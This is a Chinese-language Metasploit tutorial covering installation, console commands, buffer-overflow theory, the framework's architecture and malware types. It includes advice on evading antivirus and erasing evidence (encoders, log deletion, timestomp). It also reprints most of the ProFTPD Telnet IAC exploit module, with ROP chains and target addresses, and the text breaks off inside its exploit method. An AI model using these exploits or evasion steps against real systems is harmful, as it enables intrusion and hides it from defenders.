Metasploit詳解 詳細圖文教程

  1. 一、metasploit簡介

    Metasploit是一款開源的安全漏洞檢測工具,同時Metasploit是免費的工具,因此安全工作人員常用Metasploit工具來檢測系統的安全性。Metasploit Framework (MSF) 在2003年以開放源碼方式發佈,是可以自由獲取的開發框架。它是一個強大的開源平臺,供開發,測試和使用惡意代碼,這個環境爲滲透測試、shellcode 編寫和漏洞研究提供了一個可靠平臺。

  這種可以擴展的模型將負載控制(payload)、編碼器(encode)、無操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成爲一種研究高危漏洞的途徑。它集成了各平臺上常見的溢出漏洞和流行的 shellcode ,並且不斷更新。

目前的版本收集了數百個實用的溢出攻擊程序及一些輔助工具,讓人們使用簡單的方法完成安全漏洞檢測,即使一個不懂安全的人也可以輕鬆的使用它。當然,它並不只是一個簡單的收集工具,提供了所有的類和方法,讓開發人員使用這些代碼方便快速的進行二次開發。

其核心中一小部分由彙編和C語言實現,其餘由ruby實現。不建議修改彙編和C語言部分。

  1. 二、搭建metasploit環境

Windows環境下安裝。

從官方網站http://www.metasploit.com/下載windows版本的安裝版,直接安裝即可。安裝的版本是3.5.1。安裝時需要注意以下兩點:

  1. 在安裝的時候要關閉殺毒軟件。否則的話會導致殺毒軟件和metasploit衝突,導致安裝失敗。
  2. 在控制面版——區域和語言選項——選擇英文(美國)——高級選項卡中選擇英文(美國)。因爲在安裝的時候,會進行檢測,如果屬於非英文地區會導致安裝失敗。

如果安裝有殺毒軟件,會經常提示在metasploit的安裝目錄下檢測到病毒或木馬。

Linux下環境下安裝。

官方網站提供了兩種Linux下的安裝方式,一種是打包好的metasploit安裝包,如framework-3.5.1-linux-i686.run,裏面包含了安裝所需要的各種包,下載後直接在電腦上安裝即可。安裝的時候需要具有root權限。如果裝有殺毒軟件,在安裝的時候需要關閉殺毒軟件。

另一種是源碼包方式,下載到本機後自己安裝。需要事先安裝各種所信賴的包,安裝後需要進行一定的配置,較爲麻煩。本例使用了源碼包安裝方式,因爲之前安裝了postsql,在使用framework-3.5.1-linux-i686.run安裝時會報錯已經安裝好了postsql數據庫等。使用windows下的metasploit時,學習到一定階段後,感覺有些東西搞不明白,就安裝了Linux版本下的metasploit來學習。

 

  1. 三、metasploit的使用

Metasploit目前提供了三種用戶使用接口,一個是GUI模式,另一個是console模式,第三種是CLI(命令行)模式。原來還提供一種WEB模式,目前已經不再支持。目前這三種模式各有優缺點,建議在MSF console模式中使用。在console中幾乎可以使用MSF所提供的所有功能,還可以在console中執行一些其它的外部命令,如ping。

Windows下GUI啓動方式。從開始菜單——Metasploit Framework——Metaspliit GUI即可。,如下圖所示:

 

圖1:metasploit GUI啓動方式

其GUI模式啓動後界面如圖2所示:

圖2:metasploit GUI啓動後界面

Windows下console模式的啓動方式與GUI方式類似,啓動後界面如圖3所示:

圖3:metasploit console啓動後界面

    Metasploit的使用較爲簡單,瞭解其基本命令即可。下面以console的使用方式爲例說明如何使用:

    輸入help或?可查看幫助信息。如圖4所示

圖4:help

下面以exploit中的ms04_045_wins爲例進行說明。

1    show exploits                                如圖5所示:

圖5:show exploits

2    info exploit/windows/wins/ms04_045_wins        查看其描述信息。如圖6所示:

圖6:info

3    use exploit/windows/wins/ms04_045_wins        使用此exploit。如圖7所示:

圖7:use

4    show options                                查看相應的選項,如圖8所示

圖8:show options

5    set RHOST    192.168.1.200                    設置目標

6    set RPORT    7777                        設置端口

7    set PAYLOAD generic/shell_bind_tcp            設置使用的shellcode

8    exploit                                    執行攻擊

對於上面的步驟,有些並不是必須,比如第2步。GUI界面的使用方法與其類似,並且更加簡單,但有些功能可能無法使用。

在Linux上使用時,在終端上輸入msfconsole即可啓動終端模式。輸入msfgui即可啓動GUI模式。使用方式與windows上類似。

  1. 四、Metasploit攻擊方法分類

使用的版本共有635種溢出(exploit)模塊,314種輔助(auxiliary)模塊,215種加載(payload)模塊,27種編碼(encoder),8種nops。

exploits總的來說共分爲兩類溢出(exploit)攻擊方法,即主動溢出和被動溢出。主動溢出是針對目標主機的漏洞主動的進行攻擊以獲得控制權限,被動溢出是針對目標主機被動的監聽然後獲得相應的操作。在所有的exploit中,針對windows平臺的最多,比其它所有平臺的總和還要多。

緩衝區溢出是指當計算機向緩衝區內填充數據位數時超過了緩衝區本身的容量溢出的數據覆蓋在合法數據上,理想的情況是程序檢查數據長度並不允許輸入超過緩衝區長度的字符,但是絕大多數程序都會假設數據長度總是與所分配的儲存空間相匹配,這就爲緩衝區溢出埋下隱患.操作系統所使用的緩衝區又被稱爲"堆棧". 在各個操作進程之間,指令會被臨時儲存在"堆棧"當中,"堆棧"也會出現緩衝區溢出。

緩衝區溢出是一種非常普遍、非常危險的漏洞,在各種操作系統、應用程序中廣泛存在。利用緩衝區溢出可民導致程序運行失敗、系統死機、重新啓動等後,也可以利用其獲得非授權指令,甚至系統特權,進而進行各種非法的操作。

在當前網絡與分佈式系統安全中,被廣泛利用的50%以上都是緩衝區溢出。緩衝區溢出中,最爲危險的是堆棧溢出,因爲入侵者可以利用堆棧溢出,在函數返回時改變返回程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰導致拒絕服務,另外一種就是跳轉並且執行一段惡意代碼,比如得到shell,然後爲所欲爲。

通過往程序的緩衝區寫超出其長度的內容,造成緩衝區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。造成緩衝區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。

隨便往緩衝區中填東西造成它溢出一般只會出現"分段錯誤"(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過製造緩衝區溢出使程序運行一個用戶shell,再通過shell執行其它命令。如果該程序屬於root且有suid權限的話,攻擊者就獲得了一個有root權限的shell,可以對系統進行任意操作了。

緩衝區溢出攻擊之所以成爲一種常見安全攻擊手段其原因在於緩衝區溢出漏洞太普遍了,並且易於實現。而且,緩衝區溢出成爲遠程攻擊的主要手段其原因在於緩衝區溢出漏洞給予了攻擊者他所想要的一切:植入並且執行攻擊代碼。被植入的攻擊代碼以一定的權限運行有緩衝區溢出漏洞的程序,從而得到被攻擊主機的控制權。

緩衝區溢出攻擊的目的在於擾亂具有某些特權運行的程序的功能,這樣可以使得攻擊者取得程序的控制權,如果該程序具有足夠的權限,那麼整個主機就被控制了。一般而言,攻擊者攻擊root程序,然後執行類似"exec(sh)"的執行代碼來獲得root權限的shell。爲了達到這個目的,攻擊者必須達到如下的兩個目標:

  1. 在程序的地址空間裏安排適當的代碼。

  2. 通過適當的初始化寄存器和內存,讓程序跳轉到入侵者安排的地址空間執行。

每當一個函數調用發生時,調用者會在堆棧中留下一個活動紀錄,它包含了函數結束時返回的地址。攻擊者通過溢出堆棧中的自動變量,使返回地址指向攻擊代碼。通過改變程序的返回地址,當函數調用結束時,程序就跳轉到攻擊者設定的地址,而不是原先的地址。這類的緩衝區溢出被稱爲堆棧溢出攻擊(Stack Smashing Attack),是目前最常用的緩衝區溢出攻擊方式。

函數指針可以用來定位任何地址空間。例如:"void (* foo)()"聲明瞭一個返回值爲void的函數指針變量foo。所以攻擊者只需在任何空間內的函數指針附近找到一個能夠溢出的緩衝區,然後溢出這個緩衝區來改變函數指針。在某一時刻,當程序通過函數指針調用函數時,程序的流程就按攻擊者的意圖實現了。它的一個攻擊範例就是在Linux系統下的superprobe程序。

  在C語言中包含了一個簡單的檢驗/恢復系統,稱爲setjmp/longjmp。意思是在檢驗點設定"setjmp(buffer)",用"longjmp(buffer)"來恢復檢驗點。然而,如果攻擊者能夠進入緩衝區的空間,那麼"longjmp(buffer)"實際上是跳轉到攻擊者的代碼。象函數指針一樣,longjmp緩衝區能夠指向任何地方,所以攻擊者所要做的就是找到一個可供溢出的緩衝區。

    在metasploit中溢出模塊(Exploit)共分爲13種,分別是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。

輔助(Auxiliary)模塊共分爲13種,分別是admin、client、crawler、dos、fuzzers、gather、pdf、scanner、server、sniffer、spoof、sqli、voip。

加載(payload)模塊共分爲13種,分別是aix、bsd、bsdi、cmd、generic、java、linux、netware、osx、php、solaris、tty、windows。

 

  1. 五、Metasploit架構

Metasploit Framework並不止具有exploit(溢出)收集功能,它使你專注於創建自己的溢出模塊或者二次開發。很少的一部分用匯編和C語言實現,其餘均由ruby實現。總體架構如圖9所示:

圖9:metasploit 整體架構

TOOLS        集成了各種實用工具,多數爲收集的其它軟件

PLUGINS        各種插件,多數爲收集的其它軟件。直接調用其API,但只能在console模式下工作。

MODULES    目前的Metasploit Framework 的各個模塊

MSF core        表示Metasploit Framework core 提供基本的API,並且定義了MSF的框架。並將各個子系統集成在一起。組織比較散亂,不建議更改。

MSF Base        提供了一些擴展的、易用的API以供調用,允許更改

Rex LIBRARIES        Metasploit Framework中所包含的各種庫,是類、方法和模塊的集合

CLI            表示命令行界面

GUI            圖形用戶界面

Console        控制檯用戶界面

Web            網頁界面,目前已不再支持

Exploits        定義實現了一些溢出模塊,不含payload的話是一個Aux

Payload        由一些可動態運行在遠程主機上的代碼組成

Nops        用以產生緩衝區填充的非操作性指令

Aux            一些輔助模塊,用以實現輔助攻擊,如端口掃描工具

Encoders        重新進行編碼,用以實現反檢測功能等

 

    /msf3/plugins主要包括一些數據庫插件、會話插件、線程插件、socket插件等;

/ postgresql/lib/plugins主要是postgresql的調試插件和分析插件。還有一些其它的插件,比如ruby插件等。

/tools主要是一些輔助工具,如vncviewer、7za等。

/msf3/tools主要是一些轉化工具,如memdump、ruby工具等。

 

MSF core定義了整個軟件的架構方式,提供了一些基本的API,主要由彙編和C語言來實現,一般情況下不允許直接調用。共有136個彙編文件,7個.h文件,681個.C文件。MSF core組織的比較散亂,不建議更改。

彙編部分主要完成的是與相應的操作系統(如windows、linux等)有關的功能,主要是shellcode的實現等。

C語言完成的功能比較多,主要是meterpreter的實現和一些工具性的應用,包括ruby相關、內存相關(如memdump.c,屬於memdump軟件包,用於在DOS和Windows 9x 中dump或copy 4GB以內的地址空間)、網絡相關(pcaprub.c,屬於libpcap軟件包的一部分,是ruby中網絡的一部分)、反檢測相關(timestomp.c,屬於timestomp軟件,用於修改文件的時間戳)等。其工具性的應用多是直接來自於其它工具軟件。

Meterpreter是MSF core中最重要的一部分,其本身是一個具有多種功能的動態payload,並且可以在運行時動態擴展。它提供了交互式shell的基礎。整個運行在內存當中,但它並不創建新的進程,並且使用了加密的通信方法,能有效避免檢測。

 

MSF base分佈在很多文件夾當中,定義了大量的實用API,例如svn API、scan API、encode API、更新API、操作API、數據庫API、exploit API、GUI API、java API、meterpreter API、php API、snmp API、模塊API、ruby API、網絡API等……主要供modules下的相關程序進行調用,開發人員也可直接調用其API。

 

  1. 六、Metasploit二次開發方法

Metasploit中的類和方法具有很好的可讀性,並且採用了元編程的思想,使得進行二次開發更加方便快捷。簡單的說一個程序能夠產生另一個程序,就是元編程。ruby、python等均可方便的採用元編程思想。metasploit中前四個字母正好是meta,猜測其是Metaprogramming的含義。

Metasploit中所有的模塊都從Msf::Module中繼承,並且所有的模塊有一個共享的API庫。

在Metasploit中修改的exploit、payload等模塊時,直接找到相應的文件修改並保存,重新啓動console即可看到自己修改後的模塊的效果。

在metasploit當中增加exploit、auxiliary等模塊時,最快捷的方法是仿照現有的模塊方式、使用metasploit中提供的協議(比如使用metasploit中的socket方法,而不使用ruby中的socket方法,meterpreter對socket進行的封裝和擴展功能,使用起來更加方便,增加了代理、ssh等特徵)。模塊寫好後放在相應的目錄,重新啓動console即可看到自己所增加的模塊部分。

下面是一些攻擊經常使用的模塊的位置。

auxiliary模塊位於/msf3/modules/auxiliary/下。

Exploits模塊位於/msf3/modules/exploits/下。

Payloads模塊位於/msf3/modules/payloads/下。

Nops模塊位於/msf3/modules/nops下。

Encoders模塊位於/msf3/modules/encoders/下。

另外在core部分也有一些exploit、aux等,其作用是爲上述的攻擊部分提供基礎,被上述模塊調用。在windows或是在linux中都使用上述方法進行二次開發。後面會詳細的介紹新增一個exploit的方法和過程。

 

  1. 七、安全軟件常用檢測方法

1    基於事務發生的時間戳,時間

2    發現可疑文件時,尋找其它具有類似MAC地址的文件,位置

3    根據文件擴展名和簽名,文件特徵

4    對於系統內文件創建MD5校驗,內容

5    查找相應的關鍵字,關鍵字

6    對文件的內容進行行爲分析,行爲分析。安全軟件預先知道大量的病毒指令序列,可對文件內容進行檢測,如果發現匹配的序列就發出警告。

7    檢查當前的進程、端口、文件系統等,狀態檢查

8 在文件寫入磁盤時進行檢測。

 

  1. 八、Metasploit反檢測方法

針對安全軟件常用的檢測方法,metasploit當中集成了一些反檢測的方法。還有一些相應的建議。

1    在metasploit中使用了meterpreter方法提供一些實用的API。但是meterpreter整個運行在內存當中;但它並不創建新的進程;並且使用了加密的通信方法;並且能夠有效的消除入侵證據。整個過程大約在1秒內完成。避免了一些安全軟件對於進程的檢測。

2    內置了27種encode模塊,可對metasploit中的exploit進行編碼(encode),以避免反病毒軟件檢測。27 種encode如下:

Name Rank Description

---- ---- -----------

cmd/generic_sh good Generic Shell Variable Substitution Command Encoder

cmd/ifs low Generic ${IFS} Substitution Command Encoder

cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder

generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_utf8_tolower manual Avoid UTF8/tolower

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder

x86/context_stat manual stat(2)-based Context Keyed Payload Encoder

x86/context_time manual time(2)-based Context Keyed Payload Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit manual Single Static Bit

x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

很多反病毒軟件是基於簽名(signature-based)技術來進行病毒檢測的,metasploit可以使用相應的payload將簽名更改,從而達到反檢測的目的。比如對一個軟件採用多種編碼方法以應對安全軟件的檢測,比如"ABC"這三個字母對於某個漏洞而言具有攻擊性,編碼時對每個字母採用不同的編碼方式以逃避安全軟件的檢測。

3    內置日誌刪除模塊,可以刪除相應的事務日誌,以避免檢測。

4    metasploit framework中集成了timestomp(用於修改文件時間戳)、slacker(用於隱藏文件)、SAM Juicer(meterpreter的一部分,用於從SAM中轉儲哈希)、僞造MAC地址等工具用於消除入侵證據。

5 避免使用一些明顯具有木馬或病毒含義的名子或關鍵字,如"灰鴿子"等肯定會引起安全軟件的注意。

6     所開發的模塊儘量放在目標機多個存儲位置,以避免所有的模塊被安全軟件一次清除

7     攻擊安全軟件,使安全軟件失效,目前還未開發。

 

  1. 九、一般攻擊的過程

1 獲得EIP。IP是指令寄存器,存放當前指令的下一條指令的地址,CPU該執行哪條指令就是通過IP來指示的。EIP爲32位機的指令寄存器,存放的是相對地址,也就是基於段基址的偏移值。CPU的ESP寄存器存放當前線程的棧頂指針,EBP存放當前線程的棧底指針。

2插入shellcode。Shellcode實際上是一段代碼或填充數據,用來發送到服務器利用特定的漏洞的代碼,一般可以獲取權限。另外,shellcode一般是作爲數據發送給受攻擊服務的。Shellcode是溢出程序或病毒的核心。主要針對沒有打補丁的主機有作用。Shellcode一般用C語言或彙編語言編寫,C語言編寫較快,彙編語言便於控制shellcode的生成。一個shellcode只能爲特定的平臺所使用,不能供多個溢出程序、操作系統使用。

Shellcode即可以是本地的也可以是遠程的。本地shellcode主要是一名攻擊者爲了獲取本地計算機權限,例如一段緩衝區溢出程序成功執行後可以獲得一定的權限。

遠程shellcode主要是一名攻擊者爲了獲得本地網絡或互聯網上另一臺主機的控制權限,如果成功後攻擊者可以通過網絡獲得目標主機的控制權限。如果它可以連接攻擊者和被攻擊者,稱爲反向連接shellcode。如果它通過綁定一個相應的端口來進行控制,稱之爲bindshell。第三種shellcode非常特殊,它在目標機上創建一個可以讓攻擊者重複利用的連接,而這個連接是建立在目標機現有的連接之上,並不創建新的連接。這種shellcode最難創建也最不容易被檢測。

3反向連接shell

即將目標主機當做服務,攻擊者機器作爲客戶端。

4 添加用戶或其它

 

  1. 十、惡意軟件分類

1     特洛伊木馬(Trojan horse)潛茂在其它有用的軟件中實施惡意操作的指令。通常將編寫程序時就已經安裝的惡意指令稱爲特洛伊木馬,在程序編寫完後加入的惡意代碼稱爲病毒。

2 病毒(virus) 在執行之後能將自身植入到其它程序中的指令。病毒安裝在其它程序的方式:替換任意指令,比如在X處的指令替換成跳轉到內存的其他某個地方Y,然後在Y處執行病毒代碼,然後在病毒代碼後加入口令,使病毒代碼執行完後跳到X+1處。

  1. 蠕蟲(worm)能自我複製並通過網絡將自己安裝在其他計算機上的程序。
  2. 陷門(trapdoor)故意在程序中加入未開放的入口,經常用於調試程序,也可以作爲安全漏洞使用。
  3. 邏輯炸彈(logic bomb)在未來根據特定條件啓動的惡意指令,比如在特定的時間啓動。
  4. 殭屍(zombie) 在其他計算機上安裝的惡意代碼,可通過遠程控制這種代碼的方式實施攻擊,由於攻擊來自其它主機,這種方式更難追蹤。攻擊者經常安裝大量的殭屍以製造大量的網絡流量。
  1. 十一、exploits詳細解析之proftp_telnet_iac.rb

Metasploit中的exploit部分設計目標是提供一個開發exploit簡單方法,提供了大量的庫,並且使用了ruby中的Mix-in(糅和或混合插入)方法實現多重繼承,以便於讓二次開發人員能夠快速的進行二次開發。

所有的exploit都具有類似的結構,每一個exploit開始都有一個initialize;其次定義了check方法,此方法並不是必須的;最後定義了exploit方法。

在initialize方法中,含有本exploit的描述信息(作者、漏洞溢出方法描述)、使用選項(設定主機IP、端口號等)和shellcode部分。

Check方法並不是必須的,主要是檢查目標機的情況,比如目標機是否易受攻擊,本溢出方法是否適合攻擊目標機等。檢查完後返回一些已經預定義好的值(後面的註釋爲自我理解,可能不夠準確),如下:

CheckCode::Safe                目標機安全,攻擊可能無效

CheckCode::Detected             目標機提供了相應的服務

CheckCode::Appears             目標機已經被感染

CheckCode::Vulnerable        目標機易受攻擊

CheckCode::Unsupported        本exploit對目標機不可用

Exploit方法主要是連接到目標主機,執行shellcode等。

以metasploit當中的exploits當中的linux/ftp/proftp_telnet_iac.rb爲例說明。代碼如下並進行了相應的註釋:

##

# $Id: proftp_telnet_iac.rb 11208 2010-12-02 21:10:03Z jduck $

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

##

#加載核心庫文件msf3/lib/msf/core.rb

#核心庫文件中提供了整個框架中各個部分的交互,

#比如UI、數據庫操作、exploits、payloads、encoders、nops、auxiliary、sessions等

#幾乎所有的exploit都要包這個核心庫

##

require 'msf/core'

##

#在本模塊內定義了Metasploit3子類,所有外部模塊定義的Metasploit3子類在本模塊均不起作用

#其父類爲Msf::Exploit::Remote

##

class Metasploit3 < Msf::Exploit::Remote

    Rank = GreatRanking

    #include Msf::Exploit::Remote::Ftp

    ##包含Msf::Exploit::Remote::Tcp模塊。

    #這個模塊中提供了使用TCP協議所需要的一切,如RHOST,PROT,socket等

    ##

    include Msf::Exploit::Remote::Tcp

    #定義了initialize方法,本部分包括模塊信息、攻擊目標、shellcode等

    def initialize(info = {})

        super(update_info(info,

            'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',

            'Description' => %q{

                    This module exploits a stack-based buffer overflow in versions of ProFTPD

                server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a

                large number of Telnet IAC commands, an attacker can corrupt memory and

                execute arbitrary code.

 

                The Debian Squeeze version of the exploit uses a little ROP stub to indirectly

                transfer the flow of execution to a pool buffer (the cmd_rec "res" in

                "pr_cmd_read").

 

                The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub

                to it, and execute the stub. The stub then copies the remainder of the payload

                in and executes it.

 

                NOTE: Most Linux distributions either do not ship a vulnerable version of

                ProFTPD, or they ship a version compiled with stack smashing protection.

 

                Although SSP significantly reduces the probability of a single attempt

                succeeding, it will not prevent exploitation. Since the daemon forks in a

                default configuration, the cookie value will remain the same despite

                some attemtps failing. By making repeated requests, an attacker can eventually

                guess the cookie value and exploit the vulnerability.

 

                The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness

                and could allow exploitation in semi-reasonable amount of time.

            },

            'Author' => [ 'jduck' ],

            'Version' => '$Revision: 11208 $',

            'References' =>

                [

                    ['CVE', '2010-4221'],

                    ['OSVDB', '68985'],

                    ['BID', '44562']

                ],

            'DefaultOptions' =>

                {

                    'EXITFUNC' => 'process',

                    'PrependChrootBreak' => true

                },

            'Privileged' => true,

            'Payload' =>

                {

                    'Space' => 4096,    #定義所需空間大小

                    # NOTE: \xff are avoided here so we can control the number of them being sent.

                    'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",

                    'DisableNops'    => 'True',

                },

            'Platform' => [ 'linux', ],

            'Targets' =>

            [

                #

                # Automatic targeting via fingerprinting

                #

                [ 'Automatic Targeting', { 'auto' => true } ],

 

                #

                # This special one comes first since we dont want its index changing.

                #

                [    'Debug',

                    {

                        'IACCount' => 8192, # should cause crash writing off end of stack

                        'Offset' => 0,

                        'Ret' => 0x41414242,

                        'Writable' => 0x43434545

                    }

                ],

 

                #

                # specific targets

                #

 

                # NOTE: this minimal rop works most of the time, but it can fail

                # if the proftpd pool memory is in a different order for whatever reason...

                [ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',

                    {

                        'IACCount' => 4096+16,

                        'Offset' => 0x102c-4,

                        # NOTE: All addresses are from the proftpd binary

                        'Ret' => 0x805a547, # pop esi / pop ebp / ret

                        'Writable' => 0x80e81a0, # .data

                        'RopStack' =>

                            [

                                # Writable is here

                                0xcccccccc, # unused

                                0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret

                                0xcccccccc, # becomes ebx

                                0xcccccccc, # becomes esi

                                0xcccccccc, # becomes ebp

                                # quadruple deref the res pointer :)

                                0x8068886, # mov eax,[eax] / ret

                                0x8068886, # mov eax,[eax] / ret

                                0x8068886, # mov eax,[eax] / ret

                                0x8068886, # mov eax,[eax] / ret

                                # skip the pool chunk header

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                # execute the data :)

                                0x0805c26c, # jmp eax

                            ],

                    }

                ],

 

                # For the version compiled with symbols :)

                [ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',

                    {

                        'IACCount' => 4096+16,

                        'Offset' => 0x1028-4,

                        # NOTE: All addresses are from the proftpd binary

                        'Writable' => 0x80ec570, # .data

                        'Ret' => 0x80d78c2, # pop esi / pop ebp / ret

                        'RopStack' =>

                            [

                                # Writable is here

                                #0x0808162a, # jmp esp (works w/esp fixup)

                                0xcccccccc, # unused becomes ebp

                                0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret

                                0xcccccccc, # unused becomes esi

                                0xcccccccc, # unused becomes ebp

                                # quadruple deref the res pointer :)

                                0x806a915, # mov eax,[eax] / pop ebp / ret

                                0xcccccccc, # unused becomes ebp

                                0x806a915, # mov eax,[eax] / pop ebp / ret

                                0xcccccccc, # unused becomes ebp

                                0x806a915, # mov eax,[eax] / pop ebp / ret

                                0xcccccccc, # unused becomes ebp

                                0x806a915, # mov eax,[eax] / pop ebp / ret

                                0xcccccccc, # unused becomes ebp

                                # skip the pool chunk header

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                # execute the data :)

                                0x08058de6, # jmp eax

                            ],

                    }

                ],

 

                [ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',

                    {

                        'IACCount' => 1018,

                        'Offset' => 0x420,

                        'CookieOffset' => -0x20,

                        'Writable' => 0x80db3a0, # becomes esi (beginning of .data)

                        'Ret' => 0x805389b, # pop esi / pop ebp / ret

                        'RopStack' =>

                            [

                                0xcccccccc, # becomes ebp

 

                                0x8080f04, # pop eax / ret

                                0x80db330, # becomes eax (GOT of mmap64)

 

                                0x806a716, # mov eax, [eax] / ret

                                0x805dd5c, # jmp eax

                                0x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret

                                # mmap args

                                0, 0x20000, 0x7, 0x22, 0xffffffff, 0,

                                0, # unused

                                0xcccccccc, # unused

                                0xcccccccc, # unused

                                0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx

                                0xcccccccc, # becomes ebp

 

                                # note, ebx gets fixed above :)

                                # 0xfe in 'ah' doesn't matter since we have more than enough space.

                                # now, load an instruction to store to eax

                                0x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret

                                # becomes edx - mov [eax+ebp*4]; ebx / ret

                                "\x89\x1c\xa8\xc3".unpack('V').first,

 

                                # store it :)

                                0x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret

                                0xcccccccc, # unused

                                0xcccccccc, # unused

                                0xcccccccc, # unused

                                0xcccccccc, # unused

                                0xcccccccc, # becomes ebx

                                0xcccccccc, # becomes esi

                                0xcccccccc, # becomes ebp

 

                                # Copy the following stub:

                                #"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]

                                #"\x8d\x78\x12" # lea edi, [eax+0x12]

                                #"\x6a\x7f" # push 0x7f

                                #"\x59"     # pop ecx

                                #"\xf2\xa5" # rep movsd

 

                                0x80607b5, # pop ebx / pop ebp / ret

                                0xfb2124b4, # becomes ebx

                                1, # becomes ebp

                                0x805dd5c, # jmp eax

 

                                0x80607b5, # pop ebx / pop ebp / ret

                                0x788dffff, # becomes ebx

                                2, # becomes ebp

                                0x805dd5c, # jmp eax

 

                                0x80607b5, # pop ebx / pop ebp / ret

                                0x597f6a12, # becomes ebx

                                3, # becomes ebp

                                0x805dd5c, # jmp eax

 

                                0x80607b5, # pop ebx / pop ebp / ret

                                0x9090a5f2, # becomes ebx

                                4, # becomes ebp

                                0x805dd5c, # jmp eax

 

                                0x80607b5, # pop ebx / pop ebp / ret

                                0x8d909090, # becomes ebx

                                0, # becomes ebp

                                0x805dd5c, # jmp eax

 

                                # hopefully we dont get here

                                0xcccccccc,

                            ],

                    }

                ]

 

            ],

            'DefaultTarget' => 0,

            'DisclosureDate' => 'Nov 1 2010'))

 

        register_options(

            [

                Opt::RPORT(21),

            ], self.class )

    end

 

    ##定義了check 方法,檢查目標機

    def check

        # NOTE: We don't care if the login failed here...

        ret = connect        #連接目標機,connect爲內置命令

        banner = sock.get_once    #獲取目標機標識

 

        # We just want the banner to check against our targets..

        print_status("FTP Banner: #{banner.strip}")    #打印目標機標識狀態

 

        status = CheckCode::Safe            #先設定目標機安全

        if banner =~ /ProFTPD (1\.3\.[23][^ ])/i    #查看其標識是否匹配特定的軟件

            ver = $1

            maj,min,rel = ver.split('.')

            relv = rel.slice!(0,1)

            case relv

            when '2'

                if rel.length > 0

                    if rel[0,2] == 'rc'

                        if rel[2,rel.length].to_i >= 3

                            status = CheckCode::Vulnerable

                        end

                    else

                        status = CheckCode::Vulnerable

                    end

                end

            when '3'

                # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)

                status = CheckCode::Vulnerable

                if rel.length > 0

                    if rel[0,2] != 'rc' and rel[0,1] > 'b'

                        status = CheckCode::Safe

                    end

                end

            end

        end

 

        disconnect        #斷開連接

        return status        #返回狀態

    end

    ##定義了exploit方法

    def exploit

        connect

        banner = sock.get_once

 

        # Use a copy of the target

        mytarget = target

 

        if (target['auto'])

